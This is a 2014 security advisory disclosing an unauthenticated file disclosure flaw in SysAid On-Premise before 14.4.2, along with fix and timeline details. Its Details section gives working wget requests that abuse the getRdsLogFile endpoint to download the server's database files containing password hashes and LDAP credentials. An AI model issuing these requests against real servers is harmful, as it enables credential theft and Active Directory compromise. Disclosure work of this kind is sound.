67 lines
No EOL
2.1 KiB
Text
67 lines
No EOL
2.1 KiB
Text
Vantage Point Security Advisory 2014-004
|
|
========================================
|
|
|
|
Title: SysAid Server Arbitrary File Disclosure
|
|
ID: VP-2014-004
|
|
Vendor: SysAid
|
|
Affected Product: SysAid On-Premise
|
|
Affected Versions: < 14.4.2
|
|
Product Website: http://www.sysaid.com/product/sysaid
|
|
Author: Bernhard Mueller <bernhard[at]vantagepoint[dot]sg>
|
|
|
|
|
|
Summary:
|
|
---
|
|
SysAid Server is vulnerable to an unauthenticated file disclosure
|
|
attack that allows an anonymous attacker to read arbitrary files on
|
|
the system. An attacker exploiting this issue can compromise SysAid
|
|
user accounts and gain access to important system files. When SysAid
|
|
is configured to use LDAP authentication it is possible to gain read
|
|
access to the entire Active Directory or obtain domain admin
|
|
privileges.
|
|
|
|
Details:
|
|
---
|
|
|
|
How to download SysAid server database files containing usernames and
|
|
password hashes (use any unauthenticated session ID):
|
|
|
|
wget -O "ilient.mdf" --header="Cookie:
|
|
JSESSIONID=1C712103AA8E9A3D3F1D834E0063A089" \
|
|
"http://sysaid.example.com/getRdsLogFile?fileName=c:\\\\Program+Files\\\\SysAidMsSQL\\\\MSSQL10_50.SYSAIDMSSQL\\\\MSSQL\\DATA\\\\ilient.mdf"
|
|
|
|
wget -O "ilient.ldf" --header="Cookie:
|
|
JSESSIONID=1C712103AA8E9A3D3F1D834E0063A089" \
|
|
"http://sysaid.example.com/getRdsLogFile?fileName=c:\\\\Program+Files\\\\SysAidMsSQL\\\\MSSQL10_50.SYSAIDMSSQL\\\\MSSQL\\DATA\\\\ilient_log.LDF"
|
|
|
|
|
|
The dowloaded MSSQL files contain the LDAP user account and encrypted
|
|
password used to access the Active Directory (SysAid encrypts the
|
|
password with a static key that is the same for all instances of the
|
|
software).
|
|
|
|
|
|
Fix Information:
|
|
---
|
|
|
|
Upgrade to version 14.4.2.
|
|
|
|
|
|
Timeline:
|
|
---
|
|
|
|
2014/11/14: Issue reported
|
|
2014/12/22: Patch available and installed by client
|
|
|
|
About Vantage Point Security:
|
|
---
|
|
|
|
Vantage Point Security is the leading provider for penetration testing
|
|
and security advisory services in Singapore. Clients in the Financial,
|
|
Banking and Telecommunications industries select Vantage Point
|
|
Security based on technical competency and a proven track record to
|
|
deliver significant and measurable improvements in their security
|
|
posture.
|
|
|
|
Web: https://www.vantagepoint.sg/
|
|
Contact: office[at]vantagepoint[dot]sg |